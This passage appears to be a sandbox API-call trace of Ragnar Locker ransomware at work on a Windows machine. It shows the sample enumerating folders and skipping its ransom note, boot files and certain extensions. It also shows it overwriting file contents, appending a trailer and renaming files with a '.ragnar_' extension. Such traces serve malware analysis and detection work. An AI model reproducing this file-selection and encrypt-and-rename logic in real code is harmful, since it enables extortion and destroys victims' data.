lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1ea458*=0xcd2ac, lpOverlapped=0x0) returned 1 [0077.890] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcd2ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.890] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.894] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xcd2ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.894] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.894] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.894] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.894] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.894] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.894] GetProcessHeap () returned 0x580000 [0077.894] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.895] CloseHandle (hObject=0x100) returned 1 [0077.895] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" [0077.895] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.ragnar_FD7BD9FC" [0077.895] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.897] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a68ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80a68ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.897] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.897] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.897] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.897] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.897] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0077.897] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0077.897] lstrcpyW (in: lpString1=0x1eab6a, lpString2="WT61FR.LEX" | out: lpString1="WT61FR.LEX") returned="WT61FR.LEX" [0077.897] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX") returned=".LEX" [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="autorun.inf") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="boot.ini") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="bootfont.bin") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="bootsect.bak") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="bootmgr") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="bootmgr.efi") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="bootmgfw.efi") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="desktop.ini") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="iconcache.db") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="ntldr") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="ntuser.dat") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="ntuser.dat.log") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="ntuser.ini") returned 1 [0077.897] lstrcmpiW (lpString1="WT61FR.LEX", lpString2="thumbs.db") returned 1 [0077.897] lstrcmpiW (lpString1=".LEX", lpString2=".db") returned 1 [0077.897] lstrcmpiW (lpString1=".LEX", lpString2=".sys") returned -1 [0077.897] lstrcmpiW (lpString1=".LEX", lpString2=".dll") returned 1 [0077.897] lstrcmpiW (lpString1=".LEX", lpString2=".lnk") returned -1 [0077.897] lstrcmpiW (lpString1=".LEX", lpString2=".msi") returned -1 [0077.897] lstrcmpiW (lpString1=".LEX", lpString2=".drv") returned 1 [0077.898] lstrcmpiW (lpString1=".LEX", lpString2=".exe") returned 1 [0077.898] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex")) returned 0x20 [0077.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.926] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=616960) returned 1 [0077.927] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x969f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.927] GetProcessHeap () returned 0x580000 [0077.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.927] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.934] VirtualAlloc (lpAddress=0x0, dwSize=0x96a00, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0077.934] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.934] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.934] ReadFile (in: hFile=0x100, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x96a00, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1ea45c*=0x96a00, lpOverlapped=0x0) returned 1 [0077.947] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.950] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x96a00, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.951] WriteFile (in: hFile=0x100, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x96a00, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1ea458*=0x96a00, lpOverlapped=0x0) returned 1 [0077.954] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x96a00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.954] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.957] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x96a00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.957] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.957] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.957] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.958] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.958] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.958] GetProcessHeap () returned 0x580000 [0077.958] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.958] CloseHandle (hObject=0x100) returned 1 [0077.958] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" [0077.958] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.ragnar_FD7BD9FC" [0077.958] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.958] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0077.958] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.958] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0077.959] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2=".") returned 1 [0077.959] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="..") returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0077.959] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2=".") returned 1 [0077.959] lstrcmpiW (lpString1="MSB1CACH.LEX", lpString2="..") returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0077.959] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2=".") returned 1 [0077.959] lstrcmpiW (lpString1="MSB1CORE.DLL", lpString2="..") returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0077.959] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2=".") returned 1 [0077.959] lstrcmpiW (lpString1="MSB1STAR.DLL", lpString2="..") returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0077.959] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2=".") returned 1 [0077.959] lstrcmpiW (lpString1="MSB1XTOR.DLL", lpString2="..") returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807bb420, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.959] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.959] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0077.959] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2=".") returned 1 [0077.959] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="..") returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0077.959] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0077.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807bb420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x807bb420, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x807bb420, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8082d840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8082d840, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x8089fc60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8089fc60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80912080, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80912080, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x809aa600, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x809aa600, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80a1ca20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80a1ca20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x80b4d520, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80b4d520, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0077.959] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0077.960] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0077.960] lstrcpyW (in: lpString1=0x1eb638, lpString2="MSB1AR.LEX" | out: lpString1="MSB1AR.LEX") returned="MSB1AR.LEX" [0077.960] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX") returned=".LEX" [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="autorun.inf") returned 1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="boot.ini") returned 1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="bootfont.bin") returned 1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="bootsect.bak") returned 1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="bootmgr") returned 1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="bootmgr.efi") returned 1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="bootmgfw.efi") returned 1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="desktop.ini") returned 1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="iconcache.db") returned 1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="ntldr") returned -1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", lpString2="ntuser.dat") returned -1 [0077.960] lstrcmpiW (lpString1="MSB1AR.LEX", 